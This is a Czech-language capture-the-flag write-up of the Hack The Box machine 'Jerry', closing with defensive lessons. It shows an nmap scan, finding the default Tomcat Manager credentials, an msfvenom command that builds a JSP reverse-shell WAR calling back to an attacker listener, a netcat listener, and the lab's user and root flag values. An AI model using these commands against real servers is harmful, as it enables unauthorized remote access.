Jerry
Úvod a kontext
Jerry je na poměry HTB velmi přímočarý stroj, ale právě proto se hodí jako ukázka toho, jak nebezpečné je nechat veřejně dostupný Tomcat Manager se slabými přihlašovacími údaji. Na celém hostu běží jen Tomcat na 8080/tcp a to zároveň stačí na foothold i finální převzetí.
Důležité je nepřehlédnout, že tady prakticky neexistuje samostatná privilege escalation fáze. Jakmile se podaří přihlásit do Tomcat Manageru a nasadit WAR s reverzním shellem, proces už běží s tak vysokými právy, že textový soubor 2 for the price of 1.txt vydá najednou user.txt i root.txt.
Počáteční průzkum
Jediná služba: Apache Tomcat
nmap na Jerry je neobvykle čistý. Vidět je jen Tomcat 7 na portu 8080, takže další práce se logicky soustředí na jeho administrační rozhraní.
ports=$(nmap -p- -Pn --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-favicon: Apache Tomcat
Analýza zjištění
Slabé přihlašovací údaje do Tomcat Manageru
U Tomcatu je nejrozumnější hned otestovat Manager aplikaci a běžné slabé kombinace. Na Jerry vyjde klasické tomcat:s3cret, což zjednoduší celý další řetězec na jediný deploy vlastní WAR.
python tomcat-brute.py
=> Found valid credentials "tomcat:s3cret"
Získání přístupu
Nasazení WAR s reverzním shellem
Jakmile funguje Tomcat Manager, je cesta přímá. msfvenom vytvoří WAR s JSP reverse shellem, ten se přes Manager nasadí a po otevření aplikace vznikne shell na útočníkův listener.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.4 LPORT=4000 -f war > shell.war
netcat -lvp 4000
Eskalace oprávnění
2 for the price of 1
Na Jerry je tohle formálně sekce o eskalaci, ale prakticky už není co eskalovat. Nasazený WAR běží s dostatečně vysokými právy, takže hned po shellu stačí přečíst textový soubor 2 for the price of 1.txt, který obsahuje obě flagy.
more "2 for the price of 1.txt"
more 2*
user.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e
Shrnutí klíčových poznatků
- Jerry je ukázka toho, jak málo někdy stačí: jedna veřejná služba, jedno slabé heslo a jeden WAR deploy.
- Není tu skoro žádná mezivrstva mezi footholdem a rootem. Jakmile má útočník přístup do Tomcat Manageru, prakticky už ovládá celý host.
- Právě tato jednoduchost je na stroji nejpoučnější. Ne každé převzetí systému vyžaduje složitý exploit chain; někdy stačí admin rozhraní ponechané s výchozím heslem.
Co si odnést do praxe
- Tomcat Manager nesmí být veřejně dostupný bez silné autentizace a síťového omezení. Z obranného pohledu je to deployment rozhraní, tedy přímo RCE endpoint.
- Slabé nebo výchozí přihlašovací údaje v administračních nástrojích je potřeba považovat za kritickou chybu, ne za provozní detail.
- Aplikace nasazené přes aplikační server musí běžet s minimálními právy. Jerry ukazuje, že pokud Tomcat běží příliš vysoko, není po deployi WAR potřeba žádná další eskalace.